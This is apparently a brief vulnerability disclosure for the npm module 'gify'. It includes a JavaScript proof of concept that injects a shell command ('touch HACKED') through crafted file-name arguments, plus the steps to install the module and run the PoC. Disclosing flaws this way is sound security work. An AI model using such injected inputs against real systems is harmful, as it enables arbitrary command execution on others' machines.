The gify
module is vulnerable against RCE
since a command is crafted using user inputs
not validated and then executed, leading to arbitrary command injection
// poc.js
var gify = require("gify");
gify("out.mp4\"`'; touch HACKED; #", 'out.gif\';touch HACKED; #');;
HACKED
npm i gify # Install affected module
node poc.js # Run the PoC
HACKED
has been created